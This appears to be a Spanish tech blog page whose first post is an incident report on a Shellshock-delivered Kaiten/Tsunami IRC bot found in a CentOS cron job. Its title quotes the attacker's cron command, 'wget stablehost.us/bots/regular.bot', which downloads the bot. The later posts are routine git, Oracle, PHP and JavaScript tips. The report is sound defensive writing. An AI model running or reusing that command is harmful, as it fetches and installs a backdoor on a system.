LINUX: wget stablehost.us/bots/regular.bot etc en nuestro cron es un troyano

Aviso: Esto no es una solución, son datos que te pueden ayudar a solucionarlo.

Hoy, me he encontrado con que en el cron de mi CentOs me faltaban tareas, y que además había una muy sospechosa:

Investigando en las siguientes webs encontré que se trataba de un troyano/malware que ha aprovechado la reciente vulnerabilidad shellshock llamado Linux.Backdoor.Kaiten o Tsunami Bot

Enlaces/fuentes que me han ayudado:

http://infosecnirvana.com/shellshock-hello-honeypot/ (Datos sobre el malware)

http://rm-rf.in/post/98621485262/shellshock-test-the-vulnerability (Para arreglar la vulnerabilidad)

http://security.stackexchange.com/questions/16908/is-secureshellz-bot-a-virus-how-does-it-work

 

En mi servidor CentOs pude recoger algunos datos:

  1. Linea de cron especificada anteriormente
  2. Archivo /tmp/.pwn
  3. Proceso .c en el top
  4. Log en apache

Lo más interesante es el archivo /tmp/.pwn cuyo contenido es el siguiente:

Aquí vemos como se conecta a una serie de servidores de los que descarga el malware en cuestión del que pondré un fragmento abajo de este post. A continuación lo compila con gcc y asigna permisos a directorios en /tmp, lo extraño es que después elimina los archivos descargados.

Después en el log de apache /etc/httpd/logs/access_log encontré como se ejecuto el comando inicial así como la IP atacante:

Ahora bien, ¿qué es lo que he hecho?

He actualizado el bash para que no vuelva a pasar

He eliminado:

– La tarea de cron

– El archivo /tmp/.pwd

Y por último he decidido actualizar los servidores.

Este post no está completo, si consigo más información lo terminaré.

Os dejo el fragmento de código del malware donde se ve que entre otras cosas abre un canal IRC:

Está recortado, en total tiene unas 985 líneas.

GIT: Tener mi propio servidor GIT con repositorio central

Para tener repositorios en nuestro propio servidor, partiendo de la base que tenemos git instalado, necesitamos una serie de pasos.

En este caso vamos a imaginarnos el siguiente escenario:

Tenemos una aplicación llamada my_app en una carpeta del mismo nombre, my_app/.

En nuestro servidor tenemos la siguiente estructura de carpetas:

  • /var/www/repositorios/
  • /var/www/desarrollo/
  • /var/www/produccion/

Dentro de desarrollo/ tenemos nuestra app my_app/

Queremos tener nuestro entorno de desarrollo en desarrollo/ que podamos subir los cambios a repositorios/ (el cual será el repositorio central) y descargar los cambios o actualizar la aplicación en produccion/. Es decir, usando los comandos de git sería del siguiente modo:

Es una buena forma de desarrollar ¿verdad? Entendemos que produccion/ puede estar en otro servidor o en múltiples pcs, así que se podrían actualizar todos con un simple comando, a distancia.

Ahora bien, para tener nuestro entorno de esta forma necesitamos un repositorio central al que subir desde desarrollo y descargar desde producción los cambios, y para conseguir esto, el primer paso es inicializar el repositorio de nuestra app en desarrollo/my_app/ (produccion/ y repositorios/ estarían vacíos aún).

 

 

Además si queremos que no clone o suba ciertas carpetas o archivos al subir cambios, como por ejemplo los archivos de una carpeta de archivos temporales temporales/

 

 

PHP: Convertir formato de fecha de Oracle

Si en un desarrollo se da el caso de que usamos una base de datos Oracle, nos encontraremos con que php nos pinta las fechas obtenidas de la base de datos con el siguiente formato:

17-AUG-14

De modo que si queremos un formato tal que así:

17/08/2014

La mejor forma sería esta:

 

Oracle: Consultar procesos activos

Con esta consulta se pueden ver los procesos en ejecución en nuestra base de datos Oracle.

Javascript: Desactivar clic derecho y menú contextual

Se puede dar el caso de que no deseemos que los usuarios descarguen las imágenes que tenemos en nuestra web, ya sea por que tengamos una web de fotografía u otras razones.
Una solución rápida y fácil puede ser desactivar el clic derecho del ratón para que sea más difícil descargar nuestras imágenes:

GIT: Ignorar archivos para que no figuren en el commit

Para que no se haga push o commit de ciertos archivos de nuestro proyecto, por ejemplo, un archivo de configuración, tendremos que añadir un archivo llamado .gitignore a nuestro repositorio, que contenga el nombre del archivo que queremos ignorar, por ejemplo:

Una vez guardado, ejecutaremos en el terminal

Seguido de:

y de:

Fuente: http://stackoverflow.com/questions/11451535/gitignore-not-working

GIT: Insufficient permission for adding an object to repository database

Este error se debe a un problema con los permisos de las carpetas del repositorio, ej: repositorio.git por lo que asignándoles los permisos necesarios se puede solucionar:

Donde git es el grupo de usuarios que van a acceder al repositorio.